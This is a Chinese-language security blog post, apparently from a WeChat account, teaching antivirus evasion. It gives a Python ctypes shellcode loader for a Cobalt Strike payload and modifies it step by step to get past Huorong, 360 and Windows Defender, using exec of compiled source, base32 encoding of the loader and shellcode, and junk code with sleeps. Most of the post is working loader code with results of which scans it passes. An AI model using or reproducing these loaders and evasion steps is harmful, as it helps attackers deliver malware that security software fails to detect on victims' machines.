最近暗月弄了数个安全圈交流的群 欢迎前来加入 有需要好友添加微信发送 进群
一种python动态加密免杀方式,过火绒、360、windows defender
免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀
下面具体举例一个python分离加载的例子
# coding=utf-8
import ctypes
# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')
shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender
Python的ast模块是一个用于处理Python代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成Python代码的AST
抽象语法树是Python源代码的一种树形表示形式,用于表示Python代码的语法结构。Python的ast模块可以将Python代码解析为AST,并提供了许多方法和属性,以便开发者可以访问和修改AST节点
# ast - demo
# 读取源文件
with open("demo.py") as f:
data = f.read()
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试
以火绒为例子进行测试
经过简单的ast代码如下
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
# 读取源文件
with open("main", encoding='utf-8') as f:
data = f.read()
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
mian文件即为上面的烂大街代码
# coding=utf-8
import ctypes
# pyinstaller -F .\main.py
f = open('payload0604.bin', 'rb')
shellcode = f.read()
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
继续生成exe测试
静态通过
动态通过
这里发现360会扫描静态文本,简单做一下变形即可
对main进行base32变形
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("main", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
f.write(after_data)
ast代码同步做改动
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("after_main") as f:
data = f.read()
print(data)
data = base64.b32decode(data)
# 生成可以被 exec() 或 eval() 执行的代码对象
cm = compile(data, '<string>', 'exec')
exec(cm)
静态通过
动态通过
静态扫描失败
同样的原理,将cs-payload进行base32编码
base_data.py
# coding=utf-8
# pyinstaller -F .\ast_test.py
import ctypes
import base64
# 读取源文件
with open("main.py", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_main", "wb") as f:
f.write(after_data)
# 读取源文件
with open("payload0604.bin", "rb") as f:
data = f.read()
print(data)
print(type(data))
after_data = base64.b32encode(data)
with open("after_test", "wb") as f:
f.write(after_data)
# coding=utf-8
import ctypes
import base64
# pyinstaller -F .\main.py
f = open('after_test', 'rb')
shellcode = f.read()
shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
静态扫描通过
动态失败
windows defender的动态检测还是很厉害
加花尝试
# coding=utf-8
import ctypes
import base64
import math
# pyinstaller -F .\main.py
f = open('after_test', 'rb')
shellcode = f.read()
shellcode = base64.b32decode(shellcode)
shellcode = bytearray(shellcode)
print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
import time
time.sleep(10)
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
results = [1]
for i in range(2, 200):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
time.sleep(3)
results = [1]
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
time.sleep(3)
for i in range(2, 1000):
for j in range(2, int(math.sqrt(i))):
if i % j == 0:
break
else:
results.append(i)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
实际对于本次ast绕过defender的深入只采取了简单的加花处理,相对来说不够稳定,但这也是免杀的一个乐趣吧,当然,除了加花意外还有很多读者可进行的操作,比如:
ast动态修改节点
进行更为强度的多重编码
将编码升级为加密,密钥存储http服务器
等等等等
免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升
切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏